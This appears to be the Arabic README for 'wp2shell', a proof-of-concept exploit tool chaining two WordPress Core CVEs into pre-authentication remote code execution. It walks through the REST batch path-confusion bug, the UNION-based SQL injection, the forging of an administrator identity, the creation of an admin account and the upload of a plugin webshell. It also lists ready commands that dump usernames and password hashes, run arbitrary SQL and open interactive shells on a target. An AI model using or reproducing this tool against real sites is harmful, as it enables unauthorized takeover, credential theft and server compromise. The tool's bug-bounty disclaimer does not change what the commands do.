
CVE-2026-63030 و CVE-2026-60137 سلسلة RCE إثبات المفهوم
⚠ هذه الأداة مُنشأة لغرض تعليمي أو لأغراض مكافآت الثغرات فقط. يُحظر تمامًا الاستخدام غير المصرح به خارج البيئات المُتحكَّم بها.
إثبات مفهوم لسلسلة ثغرات wp2shell التي تؤثر على WordPress Core، وتجمع بين CVE-2026-63030 وCVE-2026-60137. يوضح المشروع التفاعل بين ثغرة الخلط في مسار REST API Batch وثغرة حقن SQL في WP_Query، مما يؤدي إلى مسار غير مُصادَق للسيطرة الكاملة على WordPress وتنفيذ التعليمات البرمجية عن بُعد (RCE).
اقرأ التنبيه الكامل هنا
wp2shell هي سلسلة RCE قبل المصادقة في نواة WordPress، تجمع بين CVE-2026-63030 (الخلط في المسار في نقطة نهاية batch REST) وCVE-2026-60137 (حقن SQL في WP_Query).
الخلط في المسار: تعالج /wp-json/batch/v1 عدة طلبات فرعية عبر مصفوفتي $matches و$validation المتوازيتين والمفهرستين حسب الموضع. يُضاف طلب فرعي بمسار مشوّه (مثل http://:) إلى $validation ولكن ليس إلى بسبب عبارة ، مما يؤدي إلى عدم تزامن المصفوفتين. تُرسَل الطلبات اللاحقة تحت المعالج المخصص للطلب ، متجاوزةً التحقق من المخطط وفحوصات الأذونات.
$matchescontinueحقن SQL: يستغل استدعاءان متداخلان لـ batch هذا. يتجاوز الـ batch الخارجي قائمة الأساليب المسموح بها (التي تحظر GET عادةً). يوصّل الـ batch الداخلي سلسلة author_exclude قياسية إلى GET /wp/v2/posts - يوجّهها عدم التزامن متجاوزةً التحقق، ويُدرج WP_Query السلسلة غير المُعقَّمة مباشرةً في SQL، مما ينتج حقنًا أعمى قائمًا على UNION.
تسميم الذاكرة المؤقتة: يُرجع حقن SQL كائنات WP_Post مُزوَّرة، تخزّنها WordPress في الذاكرة. تحتوي هذه المقالات المزيفة على شيفرات [embed] القصيرة التي تجعل WordPress ينشئ صفوف قاعدة بيانات oembed_cache حقيقية من المراجع المزيفة.
تصعيد Changeset: باستخدام حقن SQL، يزوّر المهاجم مقالة customize_changeset في الذاكرة مع "user_id": 1 في JSON الخاص بها. تُشغّل أداة كشف الدورات wp_update_post() دون الكتابة فوق post_content، مما يحافظ على حمولة المهاجم. يؤدي تطبيق الـ changeset إلى افتراض هوية المسؤول مؤقتًا.
إعادة دخول الخطاف: تُشغّل مقالة مُصنَّعة بحالة parse ونوع request الخطاف parse_request، معيدةً تشغيل طلب الـ batch بالكامل بدور المسؤول المفترض. هذه المرة، ينجح طلب فرعي POST /wp/v2/users، مما ينشئ حساب مسؤول جديد.
تنفيذ التعليمات البرمجية: يسجّل المهاجم الدخول كمسؤول مُنشأ ويرفع إضافة خبيثة لتشغيل أوامر عشوائية.
| الإصدار | الحالة |
|---|---|
| WordPress 6.9.0 – 6.9.4 | مُعرَّض للثغرة |
| WordPress 7.0.0 – 7.0.1 | مُعرَّض للثغرة |
| WordPress 6.9.5 | مُصلَّح |
| WordPress 7.0.2+ | مُصلَّح |
لاستخدام هذا PoC، المتطلب الوحيد هو Python 3.8+.
شغّله من دليل المستودع لإجراء فحص الثغرة:
wp2shell.py http://victim.com
يُجري فحصًا واحدًا للثغرة. يرسل مسبار علامة batch حميد يكتشف خطأ الخلط في المسار دون تنفيذ حمولات SQLi. يُرجع الهدف المُعرَّض HTTP 207 مع نمط الخطأ parse_path_failed وblock_cannot_read وrest_batch_not_allowed.
استخدم --confirm-sqli لإرسال حمولة تأكيد SQLi نشطة أيضًا. يحاول التأكيد انعكاس UNION أولاً، ثم يتراجع إلى مسابر قائمة على التوقيت.
فحص هدف واحد (الوضع الافتراضي)
wp2shell.py http://target.com
الفحص مع وضع صريح
Check with explicit mode
wp2shell.py http://target.com --check
الفحص مع تأكيد SQLi
wp2shell.py http://target.com --check --confirm-sqli
يستخرج البيانات من قاعدة البيانات باستخدام حقن SQL قبل المصادقة. يستخدم افتراضيًا --technique auto، الذي يحاول الأساليب المتاحة بهذا الترتيب:
WP_Post مزيفًا عبر UNION ويقرأ عنوانه من استجابة REST كـ ||HEX(value)||. طلب واحد لكل قيمة. الأسرع.EXTRACTVALUE/UPDATEXML لتسريب ~15 بايت لكل طلب. يعمل عندما يعكس الهدف أخطاء MySQL (مثل WP_DEBUG_DISPLAY مُفعَّل).X-WP-Total كإشارة صحيح/خطأ. يعمل حتى عندما لا تُعكَس أي بيانات.افرض أسلوبًا محددًا باستخدام --technique union|error|blind. مسارات القراءة هذه للقراءة فقط ولا تكتب في قاعدة البيانات.
بصمة الخادم (الاستعلام الافتراضي)
wp2shell.py http://target.com --read
استخراج أسماء الدخول وتجزئات كلمات المرور
wp2shell.py http://target.com --read --preset users
استعلام SQL مخصص
wp2shell.py http://target.com --read --query "SELECT @@version"
فرض أسلوب blind
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
الاستخراج بأسلوب قائم على الأخطاء
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
ينفّذ أوامر على الخادم الهدف. يعمل في وضعين:
مع بيانات الاعتماد (يسجّل الدخول كمسؤول موجود ويرفع إضافة shell):
تنفيذ أمر محدد
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
shell تفاعلي
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
تنفيذ أمر واحد
wp2shell.py http://target.com --shell --cmd id
shell تفاعلي
wp2shell.py http://target.com --shell --interactive
يُرفع webshell الإضافة بمسار عشوائي ورمز لكل تشغيل. يُزال webshell المرفوع تلقائيًا. عندما ينشئ جسر ما قبل المصادقة مسؤولاً، يُزال ذلك الحساب المُنشأ تلقائيًا بعد انتهاء جلسة shell.
قائمة جميع الأعلام:
| العلم | الوصف |
|---|---|
--check | تشغيل فحص الثغرة (الوضع الافتراضي إذا لم يُحدَّد وضع آخر) |
--read | استخراج البيانات عبر حقن SQL |
--shell | تنفيذ أوامر على الخادم |
--query | استعلام SQL مخصص لوضع القراءة |
--preset | إعداد استعلام مسبق (users، config، versions) |
--technique | أسلوب استخراج SQLi: union، error، blind، أو auto (افتراضي) |
--confirm-sqli | إرسال حمولة تأكيد SQLi بعد الفحص |
--cmd | الأمر المراد تنفيذه في وضع shell (افتراضي: id) |
--interactive, -i | وضع shell التفاعلي |
--user | اسم مستخدم المسؤول لـ shell المُصادَق |
--password | كلمة مرور المسؤول لـ shell المُصادَق |
--proxy | وكيل HTTP/HTTPS (مثل http://127.0.0.1:8080) |
--timeout | مهلة الطلب بالثواني (افتراضي: 30) |
--verbose, -v | إخراج مطوّل |
هذه الأداة مُنشأة لغرض تعليمي أو لأغراض مكافآت الثغرات فقط. يُحظر تمامًا الاستخدام غير المصرح به خارج البيئات المُتحكَّم بها.